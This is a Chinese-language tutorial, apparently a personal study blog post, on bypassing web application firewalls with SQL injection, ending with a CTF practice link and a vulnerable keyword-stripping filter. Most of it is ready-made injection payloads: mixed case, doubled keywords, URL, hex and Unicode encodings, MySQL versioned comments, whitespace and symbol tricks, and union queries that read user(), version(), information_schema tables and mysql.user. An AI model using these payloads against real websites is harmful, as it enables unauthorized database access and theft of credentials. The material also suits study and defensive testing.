SQL注入过WAF(11.4 第三十三天)

WAF是什么?

Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。

WAF分类:

代码WAF:将规则写在web代码中,并去匹配,来过滤。

软件WAF:监听端口或以Web容器扩展方式进行请求检测和阻断

硬件WAF:专门硬件防护设备,代理流量,并做分析,再做是否转发的处理

WAF:通过dns域名移交技术,将流量暂时发送到检测中心节点,通过检测后,再发送到真实服务器上

WAF工作流程:三个基本步骤

身份认证:白名单ip、白名单cookie、白名单user-agent、白名单referer等等

数据包解析

规则匹配:根据不同的规则,有不同的绕过方法。

WAF的基本方式:

1、大小写     select * from users where id ='1   ' uNion SelEcT 1,2,3,4--+

针对:/正则表达式/ i    不区分大小写的规则

2、替关键字(关键字重复写)  select * from users where ID=1 ununionion selselectect 1,2,3,4%23

针对检测到某个关键词 替换为空的情况

3、编码  select  * from users where id=2%2bunion%2bselect%2b1,2,3,4--+

union ---> 0x756e696f6e20

select * from users where ID=1 %75nion select 1,2,3,4%23

编码方式:URL编码 (空格为%20  单引号%27  左括号%28  右括号%29,针对特殊情况可以两次URL编码)  

   十六进制编码(针对某些数据,如特殊字符、特殊字符串等)

   unicodeUnicode编码  使用两个字节编码一个字符,高位不足使用0填充

单引号:%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7

空格:%u0020%uff00%c0%20%c0%a0%e0%80%a0

左括号:%u0028%uff08%c0%28%c0%a8%e0%80%a8

右括号:%u0029%uff09%c0%29%c0%a9%e0%80%a9

4、内联注释 /* */      union/**/select/**/1,2,3%23 、   //.--+,/**/,--,-- -,#,;--b

 select * from dvwa.user where user_id id='1' and 1=1;--+';

5、等价函数替换      verion()     @@version    

    mid   substr   substring   

    @@datadir  datadir()

    hex()    bin()   ascii()   

    sleep()   benchmark()   

等价符号:and  &&;   or  || =  ><  re>100 re<102  re=101

6、特殊符号   + #  %23  --+   \\

select`version()`  

select+id-1+1.from users; "+"用于字符串连接  -. 用于连接,可以用于逃过空格和关键词的过滤

@符号:用户自定义变量    select @……1.from users; 

@@符号:系统变量

后续加 ~  !  %  ()  []  +   |   %00  等等

  7、内联注释加!  select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+ 

8、缓冲区溢出

 ?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18

栗子上的 0xA*1000  指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短

9mysql 特性绕过

等于

= 赋值

@ @+变量名可直接调用 select @test:=user();

  注释符号 /**/  --(空格)  #  

/!**/  /*!50000select*/

select * from news where tid=1 union /*!50000select*/ 1,2,3;

/*!union*/

 (/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())

10、换行 123%0A123

 11、隐私类型转换

select 'a'=0;

select '1admin'=1;

  综合探索

  内联注释

黑魔法:select{x user}from{x mysql.user};

换行符绕过:%23%0a   %2d%2d%0a

绕过方式部分拆解

 select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin

[1] 第一部分:

1/**/  /*!50000union*/

2)空白字符 %09 %0a %0b %0c %0d %20

id=1%0bunion select 1,user() from admin

(3)浮点数形式  1.2   4.2

id=1.0union select 1,user() from admin

(4)1E0   1x一亿的0次方

id=1e0nuion select 1,user() from admin 

(5)

id=Nunion select 1,user() from admin

[2] 第二部分:

1)空白字符  %09 %0a %0b %0c %0d %20

2)注释符 /**/   /*123213*/

3)括号 id=1 union(select 'test','1',(select user() from admin limit 0,1))

[3]   第三部分:

1)空白字符  

2)注释符号

3)其他字符:

 %21

+  %2b

- %2d

@ %40

~ %7e

select * from admin where id=1 union select~1,user(),version()

(4)其他方式:

括号   select * from admin where id=1 union select(1),user(),version()

内联   select * from admin where id=1 union /*!50000select*/1,user(),version()

{} select * from admin where id=1 union select{x 1} user(),version()

" "    select * from admin where id=1 union select"1" user(),version()

N     select * from admin where id=1 union selectN ,user(),version()

  [4] 第四部分:

1)空白字符

2)注释符

3)其他符号

` %60   select * from admin where id=1 union select 1,2`from admin`;(注意闭合)

内敛注释符号

加括号

加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)

4)浮点数、1E0 N

第五部分:

1)空白

2)注释符号

3)其他符号

破则号-select * from admin where id=1 union select 1,2 from-admin;(中文的)

联注释符号

{} select * from admin where id=1 union select 1,2 from{x   admin};

() select * from admin where id=1 union select 1,2 from(admin);

练习题:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1

$keywords= array("union","select","  ");

$id=strtolower($id);

$id=str_replace($keywords,"",$id);

// 需要处理的技术点:双写.py     使用注释代替空格.py

// --tamper 双写.py,使用注释代替空格.py

原文地址:https://www.cnblogs.com/liujizhou/p/11795036.html